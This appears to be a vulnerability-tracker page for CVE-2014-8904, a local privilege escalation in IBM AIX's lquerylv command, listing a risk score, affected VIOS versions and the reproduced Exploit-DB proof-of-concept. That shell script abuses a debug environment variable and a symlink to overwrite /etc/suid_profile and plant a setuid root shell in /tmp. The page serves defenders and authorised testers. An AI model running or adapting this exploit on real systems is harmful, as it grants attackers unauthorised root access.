CVE-2014-8904

high

Published 2015-01-15 · Modified 2026-05-06

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CVSS v3

—

CVSS v4 NEW

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not yet in upstream

VIR risk

8.2

Description

lquerylv in cmdlvm in IBM AIX 5.3, 6.1, and 7.1 and VIOS 2.2.x allows local users to gain privileges via a crafted DBGCMD_LQUERYLV environment-variable value.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38576 local aix bash · 1 KB

S2 Crew · 2015-10-30

AIX 7.1 - 'lquerylv' Local Privilege Escalation

bash exploit Source: Exploit-DB

#!/bin/sh
#
# Exploit Title: AIX 7.1 lquerylv privilege escalation
# Date: 2015.10.30
# Exploit Author: S2 Crew [Hungary]
# Vendor Homepage: www.ibm.com
# Software Link: -
# Version: - 
# Tested on: AIX 7.1 (7100-02-03-1334)
# CVE : CVE-2014-8904
#
# From file writing to command execution ;) 
#
export _DBGCMD_LQUERYLV=1
umask 0
ln -s /etc/suid_profile /tmp/DEBUGCMD
/usr/sbin/lquerylv

cat << EOF >/etc/suid_profile
cp /bin/ksh /tmp/r00tshell
/usr/bin/syscall setreuid 0 0
chown root:system /tmp/r00tshell
chmod 6755 /tmp/r00tshell
EOF

/opt/IBMinvscout/bin/invscoutClient_VPD_Survey # suid_profile because uid!=euid
/tmp/r00tshell

Application impact

Vendor	Product	Versions
ibm	vios	`2.2.0.10`
ibm	vios	`2.2.0.11`
ibm	vios	`2.2.0.12`
ibm	vios	`2.2.0.13`
ibm	vios	`2.2.1.0`
ibm	vios	`2.2.1.1`
ibm	vios	`2.2.1.3`
ibm	vios	`2.2.1.4`
ibm	vios	`2.2.1.5`
ibm	vios	`2.2.1.6`
ibm	vios	`2.2.1.7`
ibm	vios	`2.2.1.8`
ibm	vios	`2.2.1.9`
ibm	vios	`2.2.2.0`
ibm	vios	`2.2.2.1`
ibm	vios	`2.2.2.2`
ibm	vios	`2.2.2.3`
ibm	vios	`2.2.2.4`
ibm	vios	`2.2.2.5`
ibm	vios	`2.2.3.0`
ibm	vios	`2.2.3.1`
ibm	vios	`2.2.3.2`
ibm	vios	`2.2.3.3`
ibm	vios	`2.2.3.4`

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.